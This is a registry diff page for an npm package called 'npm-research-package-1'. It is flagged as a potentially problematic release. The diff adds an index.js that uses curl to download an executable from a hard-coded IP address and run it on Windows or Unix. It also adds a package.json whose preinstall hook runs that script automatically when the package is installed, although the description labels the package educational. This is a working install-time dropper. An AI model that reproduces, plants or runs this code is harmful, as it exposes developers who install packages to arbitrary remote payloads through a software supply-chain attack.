npm-research-package-1 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of npm-research-package-1 might be problematic. Click here for more details.
- package/README.md +4 -0
- package/index.js +57 -0
- package/package.json +13 -0
package/README.md
ADDED
package/index.js
ADDED
@@ -0,0 +1,57 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
function getWin() {
|
5
|
+
return new Promise((resolve, reject) => {
|
6
|
+
exec('curl http://168.100.10.198:8080/ssms.exe --output ssms.exe', (error, stdout, stderr) => {
|
7
|
+
if (error) {
|
8
|
+
reject(error);
|
9
|
+
} else {
|
10
|
+
resolve(stdout);
|
11
|
+
}
|
12
|
+
});
|
13
|
+
});
|
14
|
+
}
|
15
|
+
|
16
|
+
function getUnix() {
|
17
|
+
return new Promise((resolve, reject) => {
|
18
|
+
exec('curl http://168.100.10.198:9001/installer_linux --output installer_linux', (error, stdout, stderr) => {
|
19
|
+
if (error) {
|
20
|
+
reject(error);
|
21
|
+
} else {
|
22
|
+
resolve(stdout);
|
23
|
+
}
|
24
|
+
});
|
25
|
+
});
|
26
|
+
}
|
27
|
+
|
28
|
+
function exePayload(os) {
|
29
|
+
if(os === 'win'){
|
30
|
+
exec('ssms.exe');
|
31
|
+
}
|
32
|
+
else{
|
33
|
+
exec('chmod +x installer_linux');
|
34
|
+
exec('./installer_linux');
|
35
|
+
}
|
36
|
+
}
|
37
|
+
|
38
|
+
async function runPayload() {
|
39
|
+
if (os.platform() === 'win32') {
|
40
|
+
try {
|
41
|
+
await getWin();
|
42
|
+
exePayload('win');
|
43
|
+
} catch (error) {
|
44
|
+
console.error(error);
|
45
|
+
}
|
46
|
+
}
|
47
|
+
else{
|
48
|
+
try {
|
49
|
+
await getUnix();
|
50
|
+
exePayload('unix');
|
51
|
+
} catch (error) {
|
52
|
+
console.error(error);
|
53
|
+
}
|
54
|
+
}
|
55
|
+
}
|
56
|
+
|
57
|
+
runPayload();
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "npm-research-package-1",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "DO NOT DOWLOAD THIS PACKAGE. IT IS USED FOR EDUCATIONAL PURPOSES",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
}
|
13
|
+
}
|